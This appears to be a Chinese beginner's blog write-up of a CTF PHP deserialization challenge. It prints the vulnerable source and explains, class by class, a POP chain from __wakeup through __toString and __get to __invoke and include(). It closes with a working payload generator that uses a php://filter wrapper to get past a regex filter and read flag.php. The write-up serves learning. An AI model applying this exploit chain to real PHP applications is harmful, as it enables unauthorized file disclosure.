前言:在学习PHP反序列化的过程中 看到Y4👴博客里构造pop链用的例题 好像挺有意思 就去试了一下 因为我是萌新 大佬的wp看的一知半解 然后就仔细学了一下 也尽量自己写的细一点 方便跟我一样的萌新去理解题目
首先是题目源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
慢慢来一个个类分析
1.Modifier类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
明显的看到有include()以及魔术方法__invoke()
而使用方法是
__invoke()当一个类以按一个函数的方法被调用时调用该魔术方法
所以我们需要 尽量将Modifier 类当函数来调用
2.Show类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
首先看到了几个函数 有两个魔术方法 先放一下使用方法
__construct() 当一个对象创建时被调用,
__toString() 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
分析:
1.首先从__wakeup()中有一些waf 但是很明显filter还是能用 所以无所谓
2.其次__toString()中 发现是str->source 所以我们可以让str是一个类
好像需要同步分析嗷 那我先继续放下一个类了
Test类:
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct上面有 不解释 __get()给出用法
__get()从不可访问的属性中读取数据会触发会返回function作为函数调用
1.比如从外界访问内部的私有属性 2.属性不存在
分析:
在上面我们说__toString()中 我们可以让str是一个类 那么我们怎么和__get联系
1.如果他不是Show类 那么其他类里面没有$source 则__get()执行
2.其次 __wakeup()中的waf为正则匹配 可以直接触发__toString()
这个我倒是第一次知道 学到了!
3.调用__get()的时候以函数的形式返回$p数组
整体分析POP链构造:
1.首先我们通过传参直接触发__wakeup()
2._wakeup()通过正则将$this->source做字符串比较
如果$this->source是Show类 调用__toString()方法
也就是我们令$a=new Show('aaa') 这里aaa是为了传参触发__consturct()
3.再让str实例化为Test()类 由于Test类不含source 触发__get()
4.让str这个Test类里的p赋值为Modifier()类 这样就能触发__invoke()
5.把Modifier()中的$var 通过filter协议读flag.php
payload:
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "Npce3rccc";
}
}
class Test{
public $p;
}
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
可能会有些乱 我尽量将我学的时候遇到的疑问写上来 可能漏了许多或者哪里出了问题 可以在评论里留言 当然我也不一定会 但是看到就会回
稍微更新一下:我开始的理解有些问题 __toString()是靠最后那一串
$b = new Show($a)
也就是传参给$file 给source 去令source为一个类 然后通过正则触发的
但是好像出现了意外 似乎题目环境出问题了还是我出问题了 pop传上去怎么都是403 传什么都是